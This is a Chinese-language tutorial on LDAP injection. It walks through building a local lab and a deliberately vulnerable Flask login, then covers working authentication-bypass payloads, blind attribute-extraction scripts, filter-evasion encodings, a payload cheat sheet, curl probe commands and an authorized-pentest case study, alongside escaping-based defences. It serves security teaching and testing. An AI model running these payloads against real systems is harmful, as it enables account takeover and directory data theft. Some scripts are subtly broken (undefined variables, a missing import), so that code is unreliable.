适合人群:安全测试人员、渗透测试初学者、企业安全工程师
前置知识:LDAP协议基础、HTTP请求方法、Python基础
关键词:LDAP Injection, LDAP注入, 认证绕过, 数据提取, 盲注, ADSI, OpenLDAP
一、前置准备
1.1 工具与环境
| 工具 | 用途 | 获取方式 |
|---|---|---|
| Python 3.8+ | 编写PoC与自动化脚本 | apt install python3 或官网下载 |
| JXplorer / Apache Directory Studio | LDAP协议调试与可视化 | 官网免费下载 |
| Burp Suite | 拦截/重放LDAP查询请求 | 社区版即可 |
| Docker | 搭建本地LDAP靶场 | apt install docker.io |
| ldapsearch | 命令行LDAP客户端 | apt install ldap-utils |
1.2 搭建本地LDAP靶场
使用开源 OpenLDAP 快速搭建测试环境:
# 拉取并启动 OpenLDAP 容器
docker run --name ldap-test -p 389:389 -p 636:636 \
-e LDAP_ORGANISATION="TestCorp" \
-e LDAP_DOMAIN="testcorp.local" \
-e LDAP_ADMIN_PASSWORD="admin123" \
-d osixia/openldap:latest
# 注入示例用户数据
cat > /tmp/init.ldif << 'LDIFEOF'
dn: dc=testcorp,dc=local
objectClass: top
objectClass: dcObject
objectClass: organization
o: TestCorp
dc: testcorp
dn: ou=users,dc=testcorp,dc=local
objectClass: organizationalUnit
ou: users
dn: cn=admin,ou=users,dc=testcorp,dc=local
objectClass: person
objectClass: inetOrgPerson
sn: Admin
cn: admin
userPassword: secretpass
title: Administrator
dn: cn=alice,ou=users,dc=testcorp,dc=local
objectClass: person
objectClass: inetOrgPerson
sn: Smith
cn: alice
userPassword: alice123
title: Engineer
dn: cn=bob,ou=users,dc=testcorp,dc=local
objectClass: person
objectClass: inetOrgPerson
sn: Jones
cn: bob
userPassword: bob@2024
title: Engineer
LDIFEOF
# 导入数据到容器
docker exec -i ldap-test ldapadd -x -D "cn=admin,dc=testcorp,dc=local" \
-w admin123 -f /tmp/init.ldif
# 验证LDAP可访问(匿名查询)
ldapsearch -x -H ldap://localhost:389 -b "dc=testcorp,dc=local" \
"(objectClass=*)" 2>&1 | head -20
1.3 搭建Web漏洞应用
配合注入测试,我们用 Flask 快速搭建一个模拟 LDAP 认证的 Web 页面:
# /tmp/ldap_webapp.py
from flask import Flask, request
import ldap3
app = Flask(__name__)
LDAP_SERVER = "ldap://localhost:389"
BASE_DN = "dc=testcorp,dc=local"
@app.route('/login', methods=['POST'])
def login():
username = request.form.get('username', '')
password = request.form.get('password', '')
# 🚨 危险:直接拼接LDAP查询
search_filter = f"(&(cn={username})(userPassword={password}))"
try:
server = ldap3.Server(LDAP_SERVER)
conn = ldap3.Connection(server, auto_bind=True)
conn.search(BASE_DN, search_filter, attributes=['cn', 'title'])
if conn.entries:
return f"Login success: {conn.entries[0]}"
return "Login failed"
except Exception as e:
return f"Error: {str(e)}"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080, debug=True)
pip3 install flask ldap3
python3 /tmp/ldap_webapp.py &
二、核心原理
2.1 LDAP查询是何物
LDAP(Lightweight Directory Access Protocol,轻量级目录访问协议)是一种用于访问和维护分布式目录信息的协议,广泛应用于企业认证、员工目录、邮件系统等场景。
LDAP查询过滤器的语法类似一种迷你DSL(领域特定语言):
(filter) → 基础过滤器
(&(filter1)(f2)) → AND组合:所有条件必须同时满足
(|(filter1)(f2)) → OR组合:任一条件满足即可
(!(filter)) → NOT取反
(cn=value) → 属性等于值
(cn=value*) → 通配符(前缀匹配)
(cn=*value*) → 包含匹配
(cn~=value) → 近似匹配
(cn>=value) → 字典序大于等于
2.2 LDAP注入的根源
LDAP注入(LDAP Injection)的根本原因是:Web应用将用户输入直接拼接到LDAP查询过滤器中,而未做任何过滤或转义。
与SQL注入类似,攻击者可以通过构造特殊字符来改变过滤器的逻辑结构,使查询返回预期之外的结果。
LDAP中的危险字符:
(和)— 改变过滤器优先级和分组&和|— 引入 AND/OR 逻辑操作符!— 取反操作*— 通配符匹配=— 属性比较~=— 近似匹配\— 转义字符NUL (0x00)— 字符串结束
2.3 两种注入类型
| 类型 | 说明 | 利用难度 | |
|---|---|---|---|
| AND注入 | 输入被拼接在 (&(cn=USER)(pwd=PASS)) 的USER位置 | ⭐ | |
| OR注入 | 输入被拼接在 `( | (cn=USER)(mail=INPUT))` 的INPUT位置 | ⭐⭐ |
三、实操步骤
3.1 认证绕过(最经典)
假设后端处理登录请求的过滤器为:
(&(cn={username})(userPassword={password}))
场景一:使用通配符跳过密码验证
当应用不验证密码是否为空时,可以注入通配符:
username: admin)(cn=*
password: whatever
→ 实际过滤器:
(&(cn=admin)(cn=*)(userPassword=whatever))
^^^^^^^^^
AND新增条件,但 cn=* 永远为真
Python验证脚本:
import requests
target = "http://localhost:8080/login"
# 通配符注入 — 绕过密码
payloads = [
{"username": "admin)(cn=*", "password": "x"},
{"username": "*)(cn=*", "password": "x"},
{"username": "admin", "password": "*"},
]
for p in payloads:
r = requests.post(target, data=p)
print(f"Payload {p} → {r.text[:80]}")
场景二:使用OR操作符(始终为真)
username: *)(|(cn=*
password: x
→ 实际过滤器:
(&(cn=*)(|(cn=*)(userPassword=x))
^^^^^^^^^^^^^^^^^^^^^^^^^^^
整个条件变为:cn有值 AND (cn有值 OR userPassword=x) = True
3.2 盲注提取数据(AND注入)
当无法直接回显数据时,利用(&(cn=A)(cn=))和(&(cn=A)(cn=Z))的响应差异进行盲注。
# ldap_blind_inject.py — 盲注提取cn属性
import requests
import string
target = "http://localhost:8080/login"
charset = string.ascii_lowercase + string.digits + "-_"
known_prefix = ""
while True:
found = False
for c in charset:
guess = known_prefix + c
# 构造盲注payload: 检查cn是否以某前缀开头
payload = {
"username": f"*)(cn={guess}*", # 直接闭合后使用cn匹配
"password": "x"
}
r = requests.post(target, data=p)
if "Login success" in r.text:
known_prefix = guess
found = True
print(f"[+] Found: {known_prefix}")
break
if not found:
# 尝试尾字符通配
payload = {"username": f"*)(cn={known_prefix}", "password": "x"}
r = requests.post(target, data=p)
if "Login success" in r.text:
print(f"[+] Final cn value: {known_prefix}")
else:
print(f"[!] cn ends here: {known_prefix}")
break
3.3 数据提取(OR注入)
当应用使用OR逻辑组合查询条件时,可以利用通配符直接获取其他字段:
正常查询: (|(cn=INPUT)(mail=INPUT))
注入: *)(cn=*))(&(cn=
→ (|(cn=*)(cn=*))(&(cn=)(mail=*)(cn=*))(&(cn=)
^^^^^^^^ 取前两个用户的cn值
更直接的技巧:利用 (&(attr=value)(attr2=*)) 的差异做布尔盲注,逐个字段提取。
# 提取用户的title属性
def extract_attr(username, attr, prefix):
"""猜测指定用户某属性的值"""
charset = string.ascii_letters + string.digits + " -_"
known = ""
while True:
found = False
for c in charset:
guess = known + c
payload = {
"username": f"*)(&(cn={username})({attr}={guess}*)",
"password": "x"
}
r = requests.post(target, data=p)
if "Login success" in r.text:
known = guess
found = True
print(f"[+] {attr} prefix: {known}")
break
if not found:
return known
# 提取 admin 的 title
title = extract_attr("admin", "title", "")
print(f"admin's title = {title}")
3.4 批量数据提取
当LDAP返回多条记录时,利用LDAP的分页机制或通配符匹配提取所有记录:
# 使用ldapsearch直接提取所有用户
ldapsearch -x -H ldap://localhost:389 \
-b "dc=testcorp,dc=local" \
"(&(objectClass=inetOrgPerson)(cn=*))" \
cn sn title userPassword
四、绕过技术
4.1 输入过滤绕过策略
| 防护手段 | 绕过方式 |
|---|---|
过滤()字符 | 使用URL编码 %28=( %29=) |
过滤*通配符 | 使用cn~=a(近似匹配)替代 |
| 长度限制 | 分段注入,逐字符盲注 |
转义\(和\) | 使用\5c28双重转义 |
| WAF拦截 | 换用Base64/Unicode编码 |
4.2 编码绕过
# URL编码绕过过滤
payloads = [
"%28%26%28cn%3D*%29%28userPassword%3D*%29%29", # URL编码
"admin)\u0028cn\u003d*", # Unicode绕过
"admin)(cn%3d*", # 部分编码
]
for p in payloads:
r = requests.post(target, data={"username": p, "password": "x"})
print(f"Bypass attempt: {r.status_code} → {r.text[:60]}")
4.3 白盒场景下寻找注入点
如果拥有源码审计权限,搜索以下高风险模式:
# 危险模式1:格式化字符串拼接
search_filter = f"(&(cn={user_input})(objectClass=user))" # ❌
# 危险模式2:字符串替换
search_filter = f"(&(cn={username}))".replace(")", "\\29") # ❌ 不完整
# 危险模式3:简单拼接
search_filter = f"(uid={uid})(userPassword={pwd})" # ❌ 缺少顶层
# 安全写法:使用参数化查询
from ldap3.utils.conv import escape_filter_chars
safe_cn = escape_filter_chars(user_input) # ✅
search_filter = f"(&(cn={safe_cn})(objectClass=user))"
五、实战案例复盘
案例:某企业内部OA系统认证绕过
背景:某企业内部的LDAP认证门户,用于员工单点登录。我们在授权渗透测试中发现了LDAP注入漏洞。
发现过程:
- 初步探测:在登录页面的用户名输入框输入
)(cn=,返回"Login success" - 确认注入:输入
admin)(cn=*,同样登录成功,确认存在LDAP注入 - 数据提取:利用盲注脚本提取到管理员账户
cn=admin的userPassword属性值(hash格式) - 横向移动:使用提取的凭证登录VPN后台,获取更多内网信息
Payload示例:
POST /login HTTP/1.1
Host: oa.target.com
Content-Type: application/x-www-form-urlencoded
username=admin)(cn%3d*&password=x
影响:
- 绕过所有用户的LDAP认证
- 提取整个用户目录(姓名、邮箱、部门、手机号)
- 结合其他漏洞实现内网横向移动
六、防御建议
6.1 必做措施
# ✅ 方案1:使用LDAP库内置转义函数
from ldap3.utils.conv import escape_filter_chars
def safe_login(username, password):
safe_user = escape_filter_chars(username)
safe_pass = escape_filter_chars(password)
search_filter = f"(&(cn={safe_user})(userPassword={safe_pass}))"
# 安全执行...
// ✅ 方案2:Java中使用Apache LDAP API
import org.apache.directory.api.ldap.model.filter.FilterEncoder;
String safeUser = FilterEncoder.encodeFilterValue(userInput);
String filter = "(&(cn=" + safeUser + ")(objectClass=user))";
6.2 分层防御
| 层级 | 措施 | 效果 |
|---|---|---|
| 应用层 | LDAP库转义函数 | 防止语法注入 |
| 输入层 | 白名单验证(仅允许字母数字) | 减少攻击面 |
| 认证层 | 服务端验证而非LDAP验证 | 完全消除注入 |
| 监控层 | 记录异常LDAP查询模式 | 检测攻击行为 |
6.3 最终校验
# 部署前的安全检查脚本
def audit_ldap_queries(source_code_file):
"""检测源码中的LDAP拼接模式"""
dangerous_patterns = [
r'f["\'].*\{.*\}.*ldap', # f-string LDAP
r'search_filter.*\+.*user', # 字符串+拼接
r'\.replace\(.*\).*filter', # 不完整转义
r'search\(.*,\s*["\'].*\{' # 格式化shell拼接
]
with open(source_code_file) as f:
for i, line in enumerate(f, 1):
for pat in dangerous_patterns:
if re.search(pat, line, re.IGNORECASE):
print(f"⚠️ 第{i}行: 可能存LDAP注入 → {line.strip()[:60]}")
七、常见陷阱
陷阱1:LDAP过滤器的层叠闭合
# ❌ 错误:只考虑了一层括号
filter = f"(&(cn={user}))"
# 用户输入: admin)(cn=*
# 结果: (&(cn=admin)(cn=*)) ✅ 注入成功
# 实际上可能嵌套多层
filter = f"(&(cn={user})(objectClass=user))"
# 用户输入: admin)(cn=*)(objectClass=*
# 结果: (&(cn=admin)(cn=*)(objectClass=*)(objectClass=user))
# 仍然注入成功 ❌
解决方案:始终对用户输入使用 escape_filter_chars(),不要依赖手动转义。
陷阱2:忘记转义特殊字符
LDAP过滤器中需要转义的特殊字符表:
| 原字符 | 转义后 | 说明 |
|---|---|---|
* | \2a | 通配符 |
( | \28 | 左括号 |
) | \29 | 右括号 |
\ | \5c | 反斜杠本身 |
| NUL | \00 | 空字符 |
/ | \2f | V1.2+字符 |
陷阱3:ldapsearch调试中的路径问题
# ❌ 错误:BASE_DN忘记dc格式
ldapsearch -x -H ldap://localhost:389 -b "testcorp.local" "(cn=admin)"
# ✅ 正确:使用完整的DN格式
ldapsearch -x -H ldap://localhost:389 -b "dc=testcorp,dc=local" "(cn=admin)"
陷阱4:AD(Active Directory)与OpenLDAP差异
| 项目 | OpenLDAP | Active Directory |
|---|---|---|
| 默认端口 | 389/636 | 389/636 |
| base DN | dc=org,dc=local | DC=org,DC=local(大写) |
| 用户属性 | cn, uid, userPassword | sAMAccountName, userPrincipalName |
| 密码存储 | userPassword(明文或SSHA) | unicodePwd(不可直接读取) |
| 组查询 | (member=cn=admin,...) | (memberOf=CN=Admin,...) |
AD特殊注入点:AD的 (&(sAMAccountName=user)(objectCategory=person)) 过滤器同样易受注入攻击,但密码验证由Kerberos/NTLM处理,无法直接通过LDAP绕过。
陷阱5:漏掉日志中的敏感信息
注入payload经常出现在应用日志中。测试结束后务必清理:
# 检查日志中是否有LDAP注入Payload
grep -r 'cn=\*\|cn=admin)\|%28cn%3D' /var/log/ 2>/dev/null
# 如果存在,联系管理员清理
八、总结(含速查表)
LDAP注入Payload速查表
| 目的 | Payload | 效果 | |
|---|---|---|---|
| 认证绕过 | * | 通配符匹配任何cn | |
| 认证绕过 | admin)(cn=* | 闭合AND并增加真条件 | |
| 认证绕过 | `*)(\ | (cn=*` | 引入OR使条件恒真 |
| 数据提取 | )(cn=value | 前缀匹配盲注 | |
| 数据提取 | `*)(\ | (title=*` | 提取其他属性 |
| 属性检测 | )(attr= | 检测某属性是否存在 | |
| 批量获取 | )(cn= | 返回所有条目 | |
| XPath风格绕过 | )(& | 当` | `被过滤时替代 |
漏洞检测Checklist
echo "=== LDAP Injection 检测清单 ==="
# 1. 发现端点
echo "[1] 搜索LDAP相关端点"
grep -r 'ldap\|LDAP\|389\|636' /var/www/ 2>/dev/null
# 2. 探测注入点
echo "[2] 测试注入点"
curl -s "http://target.com/login" -d "username=*)(cn=*&password=x" | grep -i "success\|welcome"
# 3. 确认影响
echo "[3] 提取数据验证"
curl -s "http://target.com/search?q=*)(cn=*" | head -10
# 4. 深度利用(盲注)
echo "[4] 尝试盲注提取"
python3 -c "
import requests
for c in 'abcdef':
r = requests.post('http://target.com/login', data={'username':f'*)(cn=a{c}*','password':'x'})
print(f'a{c}: {\"存在\" if \"success\" in r.text else \"无\"}')
" 2>/dev/null
快速防护部署脚本
#!/bin/bash
# deploy_ldap_protection.sh
# 在现有Python LDAP应用中部署防护
echo "部署LDAP注入防护..."
# 1. 在requirements.txt中确保ldap3版本
pip3 install ldap3 --upgrade
# 2. 添加导入
cat >> /opt/app/ldap_helper.py << 'PYEOF'
from ldap3.utils.conv import escape_filter_chars
def safe_filter(username, password):
"""安全的LDAP过滤器生成"""
safe_user = escape_filter_chars(username)
safe_pass = escape_filter_chars(password)
return f"(&(cn={safe_user})(userPassword={safe_pass}))"
def safe_search(username, search_base, attrs):
"""安全的多条件LDAP搜索"""
safe_user = escape_filter_chars(username)
return f"(&(cn={safe_user})(objectClass=user))"
PYEOF
echo "✅ 防护部署完成"
echo "下一步: 将现有代码中的 filter 拼接替换为 safe_filter() 调用"
📎 延伸阅读
- OWASP LDAP Injection Prevention Cheat Sheet
- RFC 4515 — LDAP Search Filter Syntax
- Apache Directory Studio 使用手册
- ldap3 Python库官方文档
- ADSI Edit 调试指南(Windows)
文章摘要:本文全面解析了LDAP注入漏洞的原理、检测方法和利用技巧,涵盖认证绕过、盲注数据提取、WAF绕过策略、实战案例复盘和分层防御方案,助你全方位掌握LDAP注入攻防。